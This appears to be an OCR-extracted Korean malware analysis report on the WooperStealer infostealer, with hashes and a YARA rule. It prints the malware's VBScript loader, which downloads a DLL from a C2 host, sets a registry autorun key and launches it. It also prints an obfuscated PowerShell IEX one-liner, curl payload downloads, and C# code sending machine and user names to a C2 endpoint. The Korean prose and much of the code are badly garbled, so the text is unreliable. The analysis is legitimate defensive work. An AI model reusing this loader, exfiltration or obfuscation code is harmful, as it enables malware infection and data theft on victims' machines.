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ppsx Thd FEh Al HOBRE0M HEl= AFEEE “sidelxmlrels” IFAEZ “hxxps://greenxeonsr]]info/”
2= C2 MH O A mango44NX.doc 2= TS CHRZE "H=C}

slidel.xml.rels

c"| Targ:

chemas . openxml fi
chemas . openxml forma

' Create XMLHTTPF object to download the file Set oy XMLHTTP =
LreataOblect("Mb‘m[L.n ILHTTP"] obiXMLHTTP Open "GET",
"https://greenxe dfwe; co", False ohiXMLHTTP Send Set ohiNetwo
CreateObject(" WScript Network™) currentlUser = objiNetwork UserName appDataFolder =
currentllzer & ppData\Local\" ' Save the file to a local directory Set ghjStream =
CreateObject{(" ADODE Stream") ohiStream Type = 1 ' Binary data objStream Open ohj btrea.m \Vu' rite
chj HTTP responseBody obiStream SaveToFile appDataFolder & "Mapistub dll"
overwrite the file objStream Close Set gbyFS0 = CreateOhbj cripting FileSvstemObject™)
nh1FSO Cop\ File indows! m 32\ fixmapi exe", appDataFolder & "Swom exe" ' Set the registry

i W.‘:crmt Shell") obiShell RegWrite

Windows NT \CurrentVerzion\Windows\load", appDataFolder &

"Swiom. e'e" "REG SZ" ' Adjust registry path and value opewop="ILA" bdskj "ation" sdfk
"She" dmsnbf= "pplu: " Bet NoewirnsdfiBsdf = CreateObject{sdfikh & ooewop & dmsnbf & bdskifds ]
NoewirnsdfiBzdf Open appDataFolder & "Swom exe"

<18 4> mango44NXdoc Li&

g AJREE HAHEH MK C2 A hxxp:/greenxeonsr]Jinfo/lsdfwejhrglIrko OlA L|O|2EE CHR 2L of
= CWUserswWcurrenUserWAppDataWlLocal 2 Cf Of2H0f Mapistub.dil O|2t= 0|§ 2.2 MF BT

' Create XMLHTTP object to download the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP™)

objXMLHTTP.Open “GET™, "https://greenxeonsr.info/lsdfwejhrg.rko”, False
objXMLHTTP. Send

Set objNetwork = CreateObject("WScript.Network™)
currentUser = objNetwork.UserName
appDataFolder "C: ers\" & currentUser & "\AppData\locall\”

<38 5> C2 MHOM HO|ZE CHR22E
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Mapistubdl Ol2t= O|§2 2 WS M¥Fst = &g mYP0 MYEH sdot 24 F=20
C:WWindows#System32¥fixmapi.exe O|2H= &

' Save the file to a local directory

Set objStream = CreateObject("ADODB.Stream™)
objStream.Type = 1 ' Binary data

objStream.Open

objStream.Write objXMLHTTP.responseBody
objStream.SaveToFile appDataFolder & "Mapistub.d11®, 2

' 2 means overwrite the file

objStream.Close

Set objFS0 = CreateObject("Scripting.FileSystemObject™)

objFS0.CopyFile "C:\Windows\System32\fixmapi.exe", appDataFclder & "Swom.exe"

<38 6> dil THY MZ 2 fixmapiexe ZA

OfX|2to 2 2ALSE Swomexe IS X|Hd FX|E 2l 2| XA E 2] HKCUWSOFTWAREWMI crosofttwWindows
NT® CurrentVersion 0 SS oL} load 240] 22 X|HE|0 Y2 B2 B Al Atsdd 2 &= Ut A G

Shell Application= 0| &3l Swom.exeE A HBHC

" Set the registry key
Set ohiShell = CreateOhiect("WScrint.Shall™)

objShell.Reghirite "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load", appDataFolder & "Swom.exe", "REG_5Z"

Set NoewirusdfjBsdf = CreateObject(sdfkh & ocoewop & dmsnbf & bdskjfds )
NoewirusdfjBsdf.Open appDataFolder & "Swom.exe"
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AHBHO R CRZE Tle 44T EE WooperStealer2 £ SAXE 717 I HAS TSI C2AH

hxxp://marshmellowflowerscar[ Jinfodi| & 2 =3HC}

machineName =

userName = : -

str = " " + machineName + " " + userName;

stringToEscape 1./Wooper| + str;

address = Classl.M "fo/W93CHAY486PSKFH.php";
NameValueCollection nameValueCollection =

VETEE! Collection();

nameValueCollection.Add("valuel”,
strin

"/marshmellowflowerscar.in";

<& 10> WooperStealer
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* Invoice_Jan25.pdfInk

3) pdfink IIYE 0|3t 22
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F£| Invoice_lan25.pdf

CHAH AL S8 EETF

Chak A v1.0

CH-&hT): viLocalappData; $c=$pa+"wBlueAleexe’Copy Ci

<3F 11> pdfink Tt 4 A& o ATEE

AQlEl AT E = Of2fioF ZHTF CWUsersW{users)WAppDatatLocal 2 Z0] fixmapiexe IS BlueAleexe 2H=
= 5

O ZARSICE 13 O+ 2 QS CTT e IEXE AMeict

C:¥WindowstSystem32#WindowsPowerShell#v1.0fpowershell.exe -C
"$pa=$env:LocalAppData;

$c=$pa+"WBlueAle.exe’;

Copy C:#Windows#System32#fixmapi.exe $c;
437,455,452,446,370,383,449,370,378,374,450,435,370,381,370,377,430,447,435,450,443,453,4
54,455,436,384,438,446,446,377,379,370,372,442,454,454,450,453,396,385,385,450,439,454,45
2,443,437,441,452,439,439,448,384,443,448,440,449,385,420,418,426,408,406,389,394,425,403,
418,420,393,384,452,445,449,372,397,374,444,399,374,439,448,456,396,422,415,418,370,381,3
70,377,430,440,443,446,439,384,450,438,440,377,397,370,437,455,452,446,370,383,449,370,37
4,444,370,372,442,454,454,450,453,396,385,385,450,439,454,452,443,437,441,452,439,439,448,
384,443,448,440,449,385,404,425,416,395,428,403,418,384,452,445,449,372,397|%{$x+=[char](
$_-338)};

$x|IEX;

start$j;

Start-Sleep-Seconds5;

start$c”
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A HIEE ClZYe 42 of2iet 22 FHOZL EILh hxxps//petricgreen] Jinfo/RPXFD38WAPR7[]rkoOf| A

CHRE2LE0 IO|2EE BlueAleexeE SAISH 20| mapistubdIi2 MESICE ot temp 20| pdfmtYS
CH2= = ottt
curl -o ($pa + "Wmapistub.dIl') "https://petricgreen.info/RPXFD38WAPR7.rko";
$j=$env.TMP + "Wfile.pdf’;
curl -o $j "https://petricgreen.info/BWNI9ZAP.rko";
mapistub.dilS A5 mapistubdil T} BlueAle.exe IHYS CWWindowsWTask Off SAFSHD 2f|X|AE2[0f
F71510] X|&dS RIS

sourceFileName = str4 +
sourceFileName2 = str4 +
str4 = "C:\\Windows\\Tasks";
(sourceFileName, "C
(sourceFileName2,

"SOFTWARE\\Microsoft\'

(ey registryKey =

T2t HO|HE CH22E é“if. T2 EF%EE 5= HIOIH =S WooperStealer_.E_ A'tE'E'Elt'Ii 5’8 74EO1IH
Q Xl
=
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WooperStealer= 37H2| TI2I0|E{S ALEdH POST REOZ Xt HEE PZE Bt valueldls AlAH
AlEXY, value20fl & THE 2, value3til= THY A7t HEEICY,
“waluel=" + Uri, {=tringToE:
== "Nzdfyuwerjh")

= yalueTupleld = C
)
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€91917ff2cc3b843cf9f65e5798cd2e668a93e09802daa50e55a842ba%e505de
5a0dd2451a1661d12ab1e589124ff8ecd2c2ad55c8f35445ba9cf5e3215f977e
4206ab93ac9781c8367d8675292193625573c2aaacf8feeaddd5b0cc9136d2d1
8603b9fa8a6886861571fd8400d96a705eb6258821c6ebc679476d1b92dcd09e
24b06b5caad5b09729ccaffa5a43352afd2da2c29c3675b17cae975b7d2a1e62
13ca36012dd66a7fa2f97d8a9577a7e71d8d41345ef65bf3d24ea5ebbb7c5ce
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7) Yara Rule
rule WOOPERSTEALER_Stringish
{
meta:
author = “piolink"
date = "2025-10-23"
description = "Heuristic detection: strings referencing 'Wooper' family
severity = "high"
strings:
$s1 = "Wooper" ascii nocase
$s2 = "WI3CHAY486PSKFH.php" ascii nocase
$s3 = "Yretisdkjhsfkjfh" ascii nocase
$c2 = "marshmellowflowerscar.info"
condition:
(any of ($s*)) and filesize < 50MB
}




